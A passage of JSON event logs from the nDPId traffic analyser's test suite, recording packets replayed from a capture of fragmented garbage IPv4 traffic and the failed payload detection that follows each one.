+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563200,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563227,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563241,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563253,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563266,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563292,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563304,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563317,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563342,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563358,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563370,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563384,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563396,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563424,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563438,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563451,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563466,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563480,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563505,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563519,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563532,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563544,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563560,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563572,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563588,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563600,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563625,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563666,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563679,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563765,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563787,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563822,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563834,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 